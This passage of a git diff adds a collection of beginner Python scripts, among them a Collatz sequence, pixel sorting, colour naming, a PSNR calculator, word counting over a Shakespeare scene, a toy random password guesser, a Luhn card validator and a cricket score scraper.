input("Enter a number to calculate: ") + try: + number = float(number) + except ValueError: + print("Error: Could not convert to integer.") + print("Only numbers (e.g. 42) can be entered as input.") + main() + + # Prevent any invalid inputs + if number <= 0: + print("Error: Numbers zero and below are not calculable.") + main() + if number == math.inf: + print("Error: Infinity is not calculable.") + main() + + # Confirmation before beginning + print("Number is:", number) + input("Press ENTER to begin.") + print("\nBEGIN COLLATZ SEQUENCE") + + def sequence(number: float) -> float: + """ + The core part of this program, + it performs the operations of + the Collatz sequence to the given + number (parameter number). + """ + modulo = number % 2 # The number modulo'd by 2 + if modulo == 0: # If the result is 0, + number = number / 2 # divide it by 2 + else: # Otherwise, + number = 3 * number + 1 # multiply by 3 and add 1 (3x + 1) + return number + + # Execute the sequence + while True: + number = sequence(number) + print(round(number)) + if number == 1.0: + break + + print("END COLLATZ SEQUENCE") + print("Sequence has reached a 4-2-1 loop.") + exit(input("\nPress ENTER to exit.")) + + +# Entry point of the program +if __name__ == "__main__": + main() diff --git a/Colors/multicoloredline.py b/Colors/multicoloredline.py new file mode 100644 index 00000000000..e0d0d062cd7 --- /dev/null +++ b/Colors/multicoloredline.py @@ -0,0 +1,52 @@ +from rich.console import Console +from rich.syntax import Syntax +from rich.progress import Progress, SpinnerColumn, BarColumn, TextColumn +from rich.table import Table +import time +import json + +console = Console() + +# Fancy separator +console.rule("[bold]Welcome to Rich Terminal[/bold]", style="rainbow") + +# Define some JSON data +json_data = {"message": "Hello, World!", "status": "success", "code": 200} + +# Print JSON with syntax highlighting +syntax = Syntax( + json.dumps(json_data, indent=4), "json", theme="monokai", line_numbers=True +) +console.print(syntax) + +# Simulating a progress bar +console.print("\n[bold cyan]Processing data...[/bold cyan]\n") + +with Progress( + SpinnerColumn(), + TextColumn("[progress.description]{task.description}"), + BarColumn(), + TextColumn("{task.percentage:>3.0f}%"), + console=console, +) as progress: + task = progress.add_task("[cyan]Loading...", total=100) + for _ in range(100): + time.sleep(0.02) + progress.update(task, advance=1) + +# Create a rich table +console.print("\n[bold magenta]Results Summary:[/bold magenta]\n") + +table = Table(title="System Report", show_header=True, header_style="bold cyan") +table.add_column("Metric", style="bold yellow") +table.add_column("Value", justify="right", style="bold green") + +table.add_row("CPU Usage", "12.5%") +table.add_row("Memory Usage", "68.3%") +table.add_row("Disk Space", "45.7% free") + +console.print(table) + +# Success message +console.print("\n[bold green]🎉 Process completed successfully![/bold green]\n") +console.rule(style="rainbow") diff --git a/Colors/pixel_sort.py b/Colors/pixel_sort.py new file mode 100644 index 00000000000..f6fa4d56507 --- /dev/null +++ b/Colors/pixel_sort.py @@ -0,0 +1,170 @@ +"""Pixel Sorting""" + +# Importing Libraries +import cv2 +import numpy as np +import math +import colorsys +import pandas as pd +import os +import argparse +from tqdm import tqdm + +# Importing the external file Library +import sound + +# Taking arguments from command line +parser = argparse.ArgumentParser() # you iniatize as such +parser.add_argument("-f", required=True, help="enter fileName of your picture") +# parser.add_argument("-s", required=True, help="Speed factor of the audio to be increased or decreased") +# parser.add_argument("-av", required=True, help="Speed factor of the audio visualizer to be increased or decreased") + +# the add_argument tells you what needs to be given as an input sp its help +args = parser.parse_args() # you take the arguments from command line + +os.makedirs("Image_sort/" + str(args.f)) +print(str(args.f).capitalize() + " directory is created.") + +# Defining all global variables +df = [] +total = 0 +dict, final, img_list = {}, [], [] + + +# Create dataframe and save it as an excel file +def createDataSet(val=0, data=[]): + global dict + dict[len(data)] = data + if val != 0: + if val == max(dict.keys()): + final_df = pd.DataFrame(dict[val], columns=["Blue", "Green", "Red"]) + final_df.to_excel("Image_sort/" + str(args.f) + "/" + "output.xlsx") + + +# Generating colors for each row of the frame +def generateColors(c_sorted, frame, row): + global df, img_list + height = 15 + img = np.zeros((height, len(c_sorted), 3), np.uint8) + for x in range(0, len(c_sorted)): + r, g, b = c_sorted[x][0] * 255, c_sorted[x][1] * 255, c_sorted[x][2] * 255 + c = [r, g, b] + df.append(c) + img[:, x] = c # the color value for the xth column , this gives the color band + frame[row, x] = c # changes added for every row in the frame + + createDataSet(data=df) + return img, frame + + +# Measures the total number of pixels that were involved in pixel sort +def measure(count, row, col, height, width): + global total + total += count + if row == height - 1 and col == width - 1: + createDataSet(val=total) + + +# Step Sorting Algorithm +def step(bgr, repetitions=1): + b, g, r = bgr + # lum is calculated as per the way the humans view the colors + lum = math.sqrt(0.241 * r + 0.691 * g + 0.068 * b) + + # conversion of rgb to hsv values + h, s, v = colorsys.rgb_to_hsv( + r, g, b + ) # h,s,v is a better option for classifying each color + + # Repetitions are taken to decrease the noise + h2 = int(h * repetitions) + v2 = int(v * repetitions) + + # To get a smoother color band + if h2 % 2 == 1: + v2 = repetitions - v2 + lum = repetitions - lum + + return h2, lum, v2 + + +# Threshold set for avoiding extreme sorting of the pixels +def findThreshold(lst, add): + for i in lst: + add.append(sum(i)) + return (max(add) + min(add)) / 2 + + +def makeVideo(): + out = cv2.VideoWriter( + "Image_sort/" + str(args.f) + "/" + str(args.f) + ".mp4", + cv2.VideoWriter_fourcc(*"mp4v"), + 16, + (800, 500), + ) + for count in tqdm(range(1, 500 + 1)): + fileName = "Image_sort/" + str(args.f) + "/" + str(count) + ".jpg" + img = cv2.imread(fileName) + out.write(img) + os.remove(fileName) + out.release() + + +def main(): + global img_list + img = cv2.imread("Image/" + str(args.f) + ".jpg") + img = cv2.resize(img, (800, 500)) + img_list.append(img) + + height, width, _ = img.shape + print(">>> Row-wise Color sorting") + for row in tqdm(range(0, height)): + color, color_n = [], [] + add = [] + + for col in range(0, width): + val = img[row][col].tolist() + + # val includes all rgb values between the range of 0 to 1 + # This makes the sorting easier and efficient + val = [i / 255.0 for i in val] + color.append(val) + + thresh = findThreshold( + color, add + ) # setting the threshold value for every row in the frame + + # For the specific row , if all the values are non-zero then it is sorted with color + if np.all(np.asarray(color)) == True: + color.sort(key=lambda bgr: step(bgr, 8)) # step sorting + band, img = generateColors(color, img, row) + measure(len(color), row, col, height, width) + + # For the specific row , if any of the values are zero it gets sorted with color_n + if np.all(np.asarray(color)) == False: + for ind, i in enumerate(color): + # Accessing every list within color + # Added to color_n if any of the element in the list is non-zero + # and their sum is less than threshold value + + if np.any(np.asarray(i)) == True and sum(i) < thresh: + color_n.append(i) + + color_n.sort(key=lambda bgr: step(bgr, 8)) # step sorting + band, img = generateColors(color_n, img, row) + measure(len(color_n), row, col, height, width) + cv2.imwrite("Image_sort/" + str(args.f) + "/" + str(row + 1) + ".jpg", img) + + # Writing down the final sorted image + cv2.imwrite( + "Image_sort/" + str(args.f) + "/" + str(args.f) + ".jpg", img + ) # Displaying the final picture + + print("\n>>> Formation of the Video progress of the pixel-sorted image") + makeVideo() + sound.main( + args.f + ) # Calling the external python file to create the audio of the pixel-sorted image + + +main() diff --git a/Colors/primary_colors.py b/Colors/primary_colors.py new file mode 100644 index 00000000000..e86c0154d52 --- /dev/null +++ b/Colors/primary_colors.py @@ -0,0 +1,176 @@ +def diff(a, b): + """ + TODO: fix this function!! + """ + return a - b + + +def simpleColor(r, g, b): + """simpleColor obtiene el nombre del color mas general al cual se acerca su formato R G B""" + r = int(r) + g = int(g) + b = int(b) + bg = ir = 0 # TODO: Fix these variables + try: + # ROJO -------------------------------------------------- + if r > g and r > b: + rg = diff(r, g) # distancia rojo a verde + rb = diff(r, b) # distancia rojo a azul + + if g < 65 and b < 65 and rg > 60: # azul y verde sin luz + return "ROJO" + + gb = diff(g, b) # distancia de verde a azul + + if rg < rb: # Verde mayor que Azul + if gb < rg: # Verde mas cerca de Azul + if gb >= 30 and rg >= 80: + return "NARANJA" + elif gb <= 20 and rg >= 80: + return "ROJO" + elif gb <= 20 and b > 175: + return "CREMA" + + else: + return "CHOCOLATE" + else: # Verde mas cerca de Rojo + if rg > 60: + return "NARANJA*" + elif r > 125: + return "AMARILLO" + else: + return "COCHOLATE" + elif rg > rb: # Azul mayor que verde + if bg < rb: # Verde mas cerca de Azul + if gb < 60: + if r > 150: + return "ROJO 2" + else: + return "MARRON" + elif g > 125: + return "ROSADO" + else: + return "ROJO 3" + else: # Verde mas cerca de Rojo + if rb < 60: + if r > 160: + return "ROSADO*" + else: + return "ROJO" + else: + return "ROJO" + + else: # g y b iguales + if rg > 20: + if r >= 100 and b < 60: + return "ROJO" + elif r >= 100: + return "ROJO" + else: + return "MARRON" + + else: + return "GRIS" + # VERDE --------------------------------------------------- + elif g > r and g > b: + gb = diff(g, b) # distancia verde a azul + gr = diff(g, r) # distancia verde a rojo + + if r < 65 and b < 65 and gb > 60: # rojo y azul sin luz + return "VERDE" + + rb = diff(r, b) # distancia de rojo a azul + + if r > b: # ROJO > AZUL + if gr < gb: # Verde con Rojo + if rb >= 150 and gr <= 20: + return "AMARILLO" + else: + return "VERDE" + else: # ...Verde + return "VERDE" + + elif r < b: # AZUL > ROJO + if gb < gr: # Verde con Azul + if gb <= 20: + return "TURQUESA" + else: + return "VERDE" + else: # ...Verde + return "VERDE" + + else: # r y b iguales + if gb > 10: + return "VERDE" + else: + return "GRIS" + + # AZUL ------------------------------------------------------ + elif b > r and b > g: + bg = diff(b, g) # distancia azul a verde + br = diff(b, r) # distancia azul a rojo + + if r < 65 and g < 65 and bg > 60: # rojo y verde sin luz + return "AZUL" + + rg = diff(r, g) # distancia de rojo a verde + + if g < r: # ROJO > VERDE + if bg < rg: # Azul con Verde + if bg <= 20: + return "TURQUESA" + else: + return "CELESTE" + else: # ...Azul + if rg <= 20: + if r >= 150: + return "LILA" + else: + return "AZUL *************" + else: + return "AZUL" + + elif g > r: # VERDE > ROJO + if br < rg: # Azul con rojo + if br <= 20: + if r > 150 and g < 75: + return "ROSADO FIUSHA" + elif ir > 150: + return "LILA" + else: + return "MORADO" + else: + return "MORADO" + + else: # ...Azul + if rg <= 20: + if bg <= 20: + return "GRIS" + else: + return "AZUL" + else: # r y g iguales + if bg > 20: + if r >= 100 and b < 60: + return "ROJO" + elif r >= 100: + return "ROJO" + else: + return "MARRON" + else: + return "GRIS" + + # IGUALES--------------------------------------- + else: + return "GRIS" + + except: + return "Not Color" + + +# --------------------------------------------------------------------------------------------------- +# Puedes probar asi: python primary_colors.py 120,0,0 , esto resultara en un ROJO como respuesta +# -------------------------------------------------------------------------------------------------- +if __name__ == "__main__": + import sys + + print(simpleColor(sys.argv[1], sys.argv[2], sys.argv[3])) diff --git a/Colors/print_colors.py b/Colors/print_colors.py new file mode 100644 index 00000000000..dedd96c028c --- /dev/null +++ b/Colors/print_colors.py @@ -0,0 +1,21 @@ +import sys + + +class colors: + CYAN = "\033[36m" + GREEN = "\033[32m" + YELLOW = "\033[33m" + BLUE = "\033[34m" + RED = "\033[31m" + ENDC = "\033[0m" + + +def printc(color, message): + print(color + message + colors.ENDC) + + +printc(colors.CYAN, sys.argv[1]) +printc(colors.GREEN, sys.argv[1]) +printc(colors.YELLOW, sys.argv[1]) +printc(colors.BLUE, sys.argv[1]) +printc(colors.RED, sys.argv[1]) diff --git a/Compression_Analysis/PSNR.py b/Compression_Analysis/PSNR.py new file mode 100644 index 00000000000..b3148c64c77 --- /dev/null +++ b/Compression_Analysis/PSNR.py @@ -0,0 +1,41 @@ +import math + +# using opencv3 +import cv2 +import numpy as np + + +def Representational(r, g, b): + return 0.299 * r + 0.287 * g + 0.114 * b + + +def calculate(img): + b, g, r = cv2.split(img) + pixelAt = Representational(r, g, b) + return pixelAt + + +def main(): + # Loading images (orignal image and compressed image) + orignal_image = cv2.imread("orignal_image.png", 1) + compressed_image = cv2.imread("compressed_image.png", 1) + + # Getting image height and width + height, width = orignal_image.shape[:2] + + orignalPixelAt = calculate(orignal_image) + compressedPixelAt = calculate(compressed_image) + + diff = orignalPixelAt - compressedPixelAt + error = np.sum(np.abs(diff) ** 2) + + error = error / (height * width) + + # MSR = error_sum/(height*width) + PSNR = -(10 * math.log10(error / (255 * 255))) + + print("PSNR value is {}".format(PSNR)) + + +if __name__ == "__main__": + main() diff --git a/Compression_Analysis/compressed_image.png b/Compression_Analysis/compressed_image.png new file mode 100644 index 00000000000..75c41c21c7b Binary files /dev/null and b/Compression_Analysis/compressed_image.png differ diff --git a/Compression_Analysis/example_image.jpg b/Compression_Analysis/example_image.jpg new file mode 100644 index 00000000000..3a58ba3a8c3 Binary files /dev/null and b/Compression_Analysis/example_image.jpg differ diff --git a/Compression_Analysis/orignal_image.png b/Compression_Analysis/orignal_image.png new file mode 100644 index 00000000000..aef4221d1ad Binary files /dev/null and b/Compression_Analysis/orignal_image.png differ diff --git a/Conversation.py b/Conversation.py new file mode 100644 index 00000000000..43f469ff56c --- /dev/null +++ b/Conversation.py @@ -0,0 +1,49 @@ +# imports modules +import sys +import time +from getpass import getuser + +# user puts in their name +name = getuser() +name_check = input("Is your name " + name + "? → ") +if name_check.lower().startswith("y"): + print("Okay.") + time.sleep(1) + +if name_check.lower().startswith("n"): + name = input("Then what is it? → ") + +# Python lists their name +userList = name + +# Python & user dialoge +print("Hello", name + ", my name is Python.") +time.sleep(0.8) +print("The first letter of your name is", userList[0] + ".") +time.sleep(0.8) +print("Nice to meet you. :)") +time.sleep(0.8) +response = input("Would you say it's nice to meet me? → ") + +# other dialoge +if response.lower().startswith("y"): + print("Nice :)") + sys.exit() + +elif response.lower().startswith("n"): + response2 = input("Is it because I am a robot? → ") + +else: + print("You may have made an input error. Please restart and try again.") + sys.exit() +if response2.lower().startswith("y"): + print("Aw :(") + +elif response2.lower().startswith("n"): + response3 = input("Then why? → ") + time.sleep(1) + print("Oh.") + +else: + print("You may have made an input error. Please restart and try again.") + sys.exit() diff --git a/CountMillionCharacter.py b/CountMillionCharacter.py new file mode 100644 index 00000000000..a5c7bac77e2 --- /dev/null +++ b/CountMillionCharacter.py @@ -0,0 +1,315 @@ +""" +Simple million word count program. +main idea is Python pairs words +with the number of times +that number appears in the triple quoted string. +Credit to William J. Turkel and Adam Crymble for the word +frequency code used below. I just merged the two ideas. +""" + +import re + +pattern = re.compile(r"\W") # re is used to compile the expression more than once +# wordstring consisting of a million characters +wordstring = """SCENE I. Yorkshire. Gaultree Forest. +Enter the ARCHBISHOP OF YORK, MOWBRAY, LORD HASTINGS, and others +ARCHBISHOP OF YORK +What is this forest call'd? +HASTINGS +'Tis Gaultree Forest, an't shall please your grace. +ARCHBISHOP OF YORK +Here stand, my lords; and send discoverers forth +To know the numbers of our enemies. +HASTINGS +We have sent forth already. +ARCHBISHOP OF YORK +'Tis well done. +My friends and brethren in these great affairs, +I must acquaint you that I have received +New-dated letters from Northumberland; +Their cold intent, tenor and substance, thus: +Here doth he wish his person, with such powers +As might hold sortance with his quality, +The which he could not levy; whereupon +He is retired, to ripe his growing fortunes, +To Scotland: and concludes in hearty prayers +That your attempts may overlive the hazard +And fearful melting of their opposite. +MOWBRAY +Thus do the hopes we have in him touch ground +And dash themselves to pieces. +Enter a Messenger +HASTINGS +Now, what news? +Messenger +West of this forest, scarcely off a mile, +In goodly form comes on the enemy; +And, by the ground they hide, I judge their number +Upon or near the rate of thirty thousand. +MOWBRAY +The just proportion that we gave them out +Let us sway on and face them in the field. +ARCHBISHOP OF YORK +What well-appointed leader fronts us here? +Enter WESTMORELAND +MOWBRAY +I think it is my Lord of Westmoreland. +WESTMORELAND +Health and fair greeting from our general, +The prince, Lord John and Duke of Lancaster. +ARCHBISHOP OF YORK +Say on, my Lord of Westmoreland, in peace: +What doth concern your coming? +WESTMORELAND +Then, my lord, +Unto your grace do I in chief address +The substance of my speech. If that rebellion +Came like itself, in base and abject routs, +Led on by bloody youth, guarded with rags, +And countenanced by boys and beggary, +I say, if damn'd commotion so appear'd, +In his true, native and most proper shape, +You, reverend father, and these noble lords +Had not been here, to dress the ugly form +Of base and bloody insurrection +With your fair honours. You, lord archbishop, +Whose see is by a civil peace maintained, +Whose beard the silver hand of peace hath touch'd, +Whose learning and good letters peace hath tutor'd, +Whose white investments figure innocence, +The dove and very blessed spirit of peace, +Wherefore do you so ill translate ourself +Out of the speech of peace that bears such grace, +Into the harsh and boisterous tongue of war; +Turning your books to graves, your ink to blood, +Your pens to lances and your tongue divine +To a trumpet and a point of war? +ARCHBISHOP OF YORK +Wherefore do I this? so the question stands. +Briefly to this end: we are all diseased, +And with our surfeiting and wanton hours +Have brought ourselves into a burning fever, +And we must bleed for it; of which disease +Our late king, Richard, being infected, died. +But, my most noble Lord of Westmoreland, +I take not on me here as a physician, +Nor do I as an enemy to peace +Troop in the throngs of military men; +But rather show awhile like fearful war, +To diet rank minds sick of happiness +And purge the obstructions which begin to stop +Our very veins of life. Hear me more plainly. +I have in equal balance justly weigh'd +What wrongs our arms may do, what wrongs we suffer, +And find our griefs heavier than our offences. +We see which way the stream of time doth run, +And are enforced from our most quiet there +By the rough torrent of occasion; +And have the summary of all our griefs, +When time shall serve, to show in articles; +Which long ere this we offer'd to the king, +And might by no suit gain our audience: +When we are wrong'd and would unfold our griefs, +We are denied access unto his person +Even by those men that most have done us wrong. +The dangers of the days but newly gone, +Whose memory is written on the earth +With yet appearing blood, and the examples +Of every minute's instance, present now, +Hath put us in these ill-beseeming arms, +Not to break peace or any branch of it, +But to establish here a peace indeed, +Concurring both in name and quality. +WESTMORELAND +When ever yet was your appeal denied? +Wherein have you been galled by the king? +What peer hath been suborn'd to grate on you, +That you should seal this lawless bloody book +Of forged rebellion with a seal divine +And consecrate commotion's bitter edge? +ARCHBISHOP OF YORK +My brother general, the commonwealth, +To brother born an household cruelty, +I make my quarrel in particular. +WESTMORELAND +There is no need of any such redress; +Or if there were, it not belongs to you. +MOWBRAY +Why not to him in part, and to us all +That feel the bruises of the days before, +And suffer the condition of these times +To lay a heavy and unequal hand +Upon our honours? +WESTMORELAND +O, my good Lord Mowbray, +Construe the times to their necessities, +And you shall say indeed, it is the time, +And not the king, that doth you injuries. +Yet for your part, it not appears to me +Either from the king or in the present time +That you should have an inch of any ground +To build a grief on: were you not restored +To all the Duke of Norfolk's signories, +Your noble and right well remember'd father's? +MOWBRAY +What thing, in honour, had my father lost, +That need to be revived and breathed in me? +The king that loved him, as the state stood then, +Was force perforce compell'd to banish him: +And then that Harry Bolingbroke and he, +Being mounted and both roused in their seats, +Their neighing coursers daring of the spur, +Their armed staves in charge, their beavers down, +Their eyes of fire sparking through sights of steel +And the loud trumpet blowing them together, +Then, then, when there was nothing could have stay'd +My father from the breast of Bolingbroke, +O when the king did throw his warder down, +His own life hung upon the staff he threw; +Then threw he down himself and all their lives +That by indictment and by dint of sword +Have since miscarried under Bolingbroke. +WESTMORELAND +You speak, Lord Mowbray, now you know not what. +The Earl of Hereford was reputed then +In England the most valiant gentlemen: +Who knows on whom fortune would then have smiled? +But if your father had been victor there, +He ne'er had borne it out of Coventry: +For all the country in a general voice +Cried hate upon him; and all their prayers and love +Were set on Hereford, whom they doted on +And bless'd and graced indeed, more than the king. +But this is mere digression from my purpose. +Here come I from our princely general +To know your griefs; to tell you from his grace +That he will give you audience; and wherein +It shall appear that your demands are just, +You shall enjoy them, every thing set off +That might so much as think you enemies. +MOWBRAY +But he hath forced us to compel this offer; +And it proceeds from policy, not love. +WESTMORELAND +Mowbray, you overween to take it so; +This offer comes from mercy, not from fear: +For, lo! within a ken our army lies, +Upon mine honour, all too confident +To give admittance to a thought of fear. +Our battle is more full of names than yours, +Our men more perfect in the use of arms, +Our armour all as strong, our cause the best; +Then reason will our heart should be as good +Say you not then our offer is compell'd. +MOWBRAY +Well, by my will we shall admit no parley. +WESTMORELAND +That argues but the shame of your offence: +A rotten case abides no handling. +HASTINGS +Hath the Prince John a full commission, +In very ample virtue of his father, +To hear and absolutely to determine +Of what conditions we shall stand upon? +WESTMORELAND +That is intended in the general's name: +I muse you make so slight a question. +ARCHBISHOP OF YORK +Then take, my Lord of Westmoreland, this schedule, +For this contains our general grievances: +Each several article herein redress'd, +All members of our cause, both here and hence, +That are insinew'd to this action, +Acquitted by a true substantial form +And present execution of our wills +To us and to our purposes confined, +We come within our awful banks again +And knit our powers to the arm of peace. +WESTMORELAND +This will I show the general. Please you, lords, +In sight of both our battles we may meet; +And either end in peace, which God so frame! +Or to the place of difference call the swords +Which must decide it. +ARCHBISHOP OF YORK +My lord, we will do so. +Exit WESTMORELAND +MOWBRAY +There is a thing within my bosom tells me +That no conditions of our peace can stand. +HASTINGS +Fear you not that: if we can make our peace +Upon such large terms and so absolute +As our conditions shall consist upon, +Our peace shall stand as firm as rocky mountains. +MOWBRAY +Yea, but our valuation shall be such +That every slight and false-derived cause, +Yea, every idle, nice and wanton reason +Shall to the king taste of this action; +That, were our royal faiths martyrs in love, +We shall be winnow'd with so rough a wind +That even our corn shall seem as light as chaff +And good from bad find no partition. +ARCHBISHOP OF YORK +No, no, my lord. Note this; the king is weary +Of dainty and such picking grievances: +For he hath found to end one doubt by death +Revives two greater in the heirs of life, +And therefore will he wipe his tables clean +And keep no tell-tale to his memory +That may repeat and history his loss +To new remembrance; for full well he knows +He cannot so precisely weed this land +As his misdoubts present occasion: +His foes are so enrooted with his friends +That, plucking to unfix an enemy, +He doth unfasten so and shake a friend: +So that this land, like an offensive wife +That hath enraged him on to offer strokes, +As he is striking, holds his infant up +And hangs resolved correction in the arm +That was uprear'd to execution. +HASTINGS +Besides, the king hath wasted all his rods +On late offenders, that he now doth lack +The very instruments of chastisement: +So that his power, like to a fangless lion, +May offer, but not hold. +ARCHBISHOP OF YORK +'Tis very true: +And therefore be assured, my good lord marshal, +If we do now make our atonement well, +Our peace will, like a broken limb united, +Grow stronger for the breaking. +MOWBRAY +Be it so. +Here is return'd my Lord of Westmoreland. +Re-enter WESTMORELAND +WESTMORELAND +The prince is here at hand: pleaseth your lordship +To meet his grace just distance 'tween our armies. +MOWBRAY +Your grace of York, in God's name then, set forward. +ARCHBISHOP OF YORK +Before, and greet his grace: my lord, we come. +Exeunt""" + +wordlist = wordstring.split() # splits each word with a space + +for x, y in enumerate(wordlist): + special_character = pattern.search(y[-1:]) # searches for a pattern in the string + try: + if special_character.group(): # returns all matching groups + wordlist[x] = y[:-1] + except BaseException: + continue + +wordfreq = [ + wordlist.count(w) for w in wordlist +] # counts frequency of a letter in the given list + +print("String\n {} \n".format(wordstring)) +print("List\n {} \n".format(str(wordlist))) +print("Frequencies\n {} \n".format(str(wordfreq))) +print("Pairs\n {}".format(str(dict(zip(wordlist, wordfreq))))) diff --git a/CountMillionCharacters-2.0.py b/CountMillionCharacters-2.0.py new file mode 100644 index 00000000000..a7f37a969dc --- /dev/null +++ b/CountMillionCharacters-2.0.py @@ -0,0 +1,26 @@ +"""Get the number of each character in any given text. +Inputs: +A txt file -- You will be asked for an input file. Simply input the name +of the txt file in which you have the desired text. +""" + +import collections +import pprint + + +def main(): + file_input = input("File Name: ") + try: + with open(file_input, "r") as info: + count = collections.Counter(info.read().upper()) + except FileNotFoundError: + print("Please enter a valid file name.") + main() + + value = pprint.pformat(count) + print(value) + exit() + + +if __name__ == "__main__": + main() diff --git a/CountMillionCharacters-Variations/variation1.py b/CountMillionCharacters-Variations/variation1.py new file mode 100644 index 00000000000..101620f911a --- /dev/null +++ b/CountMillionCharacters-Variations/variation1.py @@ -0,0 +1,32 @@ +try: + input = raw_input +except NameError: + pass + + +def count_chars(filename): + count = {} + + with open(filename) as info: # inputFile Replaced with filename + readfile = info.read() + for character in readfile.upper(): + count[character] = count.get(character, 0) + 1 + + return count + + +def main(): + is_exist = True + # Try to open file if exist else raise exception and try again + while is_exist: + try: + inputFile = input("File Name / (0)exit : ").strip() + if inputFile == "0": + break + print(count_chars(inputFile)) + except FileNotFoundError: + print("File not found...Try again!") + + +if __name__ == "__main__": + main() diff --git a/Crack_password.py b/Crack_password.py new file mode 100644 index 00000000000..986ced1b1bb --- /dev/null +++ b/Crack_password.py @@ -0,0 +1,65 @@ +from random import * + +user_pass = input("Enter your password: ") +password = [ + "a", + "b", + "c", + "d", + "e", + "f", + "g", + "h", + "i", + "j", + "k", + "l", + "m", + "n", + "o", + "p", + "q", + "r", + "s", + "t", + "u", + "v", + "w", + "x", + "y", + "z", + "A", + "B", + "C", + "D", + "E", + "F", + "G", + "H", + "I", + "J", + "K", + "L", + "M", + "N", + "O", + "P", + "Q", + "R", + "S", + "T", + "U", + "V", + "W", + "X", + "Y", + "Z", +] +guess = "" +while guess != user_pass: + guess = "" + for letter in range(len(user_pass)): + guess_letter = password[randint(0, 51)] + guess = str(guess_letter) + str(guess) + print(guess) +print("Your password is", guess) diff --git a/Credit_Card_Validator.py b/Credit_Card_Validator.py new file mode 100644 index 00000000000..08100e781fd --- /dev/null +++ b/Credit_Card_Validator.py @@ -0,0 +1,88 @@ +# luhn algorithm + + +class CreditCard: + def __init__(self, card_no): + self.card_no = card_no + + @property + def company(self): + comp = None + if str(self.card_no).startswith("4"): + comp = "Visa Card" + elif str(self.card_no).startswith( + ( + "50", + "67", + "58", + "63", + ) + ): + comp = "Maestro Card" + elif str(self.card_no).startswith("5"): + comp = "Master Card" + elif str(self.card_no).startswith("37"): + comp = "American Express Card" + elif str(self.card_no).startswith("62"): + comp = "Unionpay Card" + elif str(self.card_no).startswith("6"): + comp = "Discover Card" + elif str(self.card_no).startswith("35"): + comp = "JCB Card" + elif str(self.card_no).startswith("7"): + comp = "Gasoline Card" + + return "Company : " + comp + + def first_check(self): + if 13 <= len(self.card_no) <= 19: + message = "First check : Valid in terms of length." + + else: + message = "First check : Check Card number once again it must be of 13 or 16 digits long." + return message + + def validate(self): + # double every second digit from right to left + sum_ = 0 + crd_no = self.card_no[::-1] + for i in range(len(crd_no)): + if i % 2 == 1: + double_it = int(crd_no[i]) * 2 + + if len(str(double_it)) == 2: + sum_ += sum([eval(i) for i in str(double_it)]) + + else: + sum_ += double_it + + else: + sum_ += int(crd_no[i]) + + if sum_ % 10 == 0: + response = "Valid Card" + else: + response = "Invalid Card" + + return response + + @property + def checksum(self): + return "#CHECKSUM# : " + self.card_no[-1] + + @classmethod + def set_card(cls, card_to_check): + return cls(card_to_check) + + +card_number = input() +card = CreditCard.set_card(card_number) +print(card.company) +print("Card : ", card.card_no) +print(card.first_check()) +print(card.checksum) +print(card.validate()) + +# 79927398713 +# 4388576018402626 +# 379354508162306 diff --git a/Cricket_score.py b/Cricket_score.py new file mode 100644 index 00000000000..22b8f05e319 --- /dev/null +++ b/Cricket_score.py @@ -0,0 +1,36 @@ +from urllib import request + +# import os +import pyttsx3 + +import bs4 # Beautiful Soup for Web Scraping +from win10toast import ToastNotifier + +toaster = ToastNotifier() +# url from where we extrat data + +url = "http://www.cricbuzz.com/cricket-match/live-scores" + +sauce = request.urlopen(url).read() +soup = bs4.BeautifulSoup(sauce, "lxml") + +score = [] +results = [] + +for div_tags in soup.find_all("div", attrs={"class": "cb-lv-scrs-col text-black"}): + score.append(div_tags.text) +for result in soup.find_all("div", attrs={"class": "cb-lv-scrs-col cb-text-complete"}): + results.append(result.text) + +engine = pyttsx3.init() + +# testing +engine.say("match score and result is") +print(score[0], results[0]) +toaster.show_toast(title=score[0], msg=results[0]) +engine.runAndWait() + + +# initialisation + +# after my update now this program speaks diff --git a/Day_of_week.py b/Day_of_week.py new file mode 100644 index 00000000000..c9c36bfada2 --- /dev/null +++ b/Day_of_week.py @@ -0,0 +1,28 @@ +# Python program to Find day of +# the week for a given date +import re # regular expressions +import calendar # module of python to provide useful fucntions related to calendar +import datetime # module of python to get the date and time + + +def process_date(user_input): + user_input = re.sub(r"/", " ", user_input) # substitute / with space + user_input = re.sub(r"-", " ", user_input) # substitute - with space + return user_input + + +def find_day(date): + born = ( + datetime.datetime.strptime(date, "%d %m %Y").weekday() + ) # this statement returns an integer corresponding to the day of the week + return calendar.day_name[ + born + ] # this statement returns the corresponding day name to the integer generated in the previous statement + + +# To get the input from the user +# User may type 1/2/1999 or 1-2-1999 +# To overcome those we have to process user input and make it standard to accept as defined by calender and time module +user_input = str(input("Enter date ")) +date = process_date(user_input) +print("Day on " + user_input + " is " + find_day(date)) diff --git a/Decimal number to binary function.py b/Decimal number to binary function.py new file mode 100644 index 00000000000..1a439523aa3 --- /dev/null +++ b/Decimal number to binary function.py @@ -0,0 +1,5 @@ +# decimal number +number = int(input("Enter any decimal number: ")) + +# print equivalent binary number +print("Equivalent Binary Number: ", bin(number)) diff --git a/Decimal_To_Binary.py b/Decimal_To_Binary.py new file mode 100644 index 00000000000..a2a6fff5ec6 --- /dev/null +++ b/Decimal_To_Binary.py @@ -0,0 +1,65 @@ +# patch-255 +decimal_accuracy = 7 + + +def dtbconverter(num): + whole = [] + fractional = ["."] + + decimal = round(num % 1, decimal_accuracy) + w_num = int(num) + + i = 0 + while decimal != 1 and i < decimal_accuracy: + decimal = decimal * 2 + fractional.append(int(decimal // 1)) + decimal = round(decimal % 1, decimal_accuracy) + if decimal == 0: + break + i += 1 + + while w_num != 0: + whole.append(w_num % 2) + w_num = w_num // 2 + whole.reverse() + + i = 0 + while i < len(whole): + print(whole[i], end="") + i += 1 + i = 0 + while i < len(fractional): + print(fractional[i], end="") + i += 1 + + +number = float(input("Enter Any base-10 Number: ")) + +dtbconverter(number) + + +# i think this code have not proper comment and noe this is easy to understand +""" +======= +Program: Decimal to Binary converter. + +THis program accepts fractional values, the accuracy can be set below: +""" + + +# Function to convert decimal number +# to binary using recursion +def DecimalToBinary(num): + if num > 1: + DecimalToBinary(num // 2) + print(num % 2, end="") + + +# Driver Code +if __name__ == "__main__": + # decimal value + dec_val = 24 + + # Calling function + DecimalToBinary(dec_val) +# master diff --git a/Delete_Linked_List.py b/Delete_Linked_List.py new file mode 100644 index 00000000000..263f69eb986 --- /dev/null +++ b/Delete_Linked_List.py @@ -0,0 +1,58 @@ +class Node: + def __init__(self, data): + self.data = data + self.next = None + + +class Linked_List: + def __init__(self): + self.head = None + + def Insert_At_End(self, new_data): + new_node = Node(new_data) + if self.head 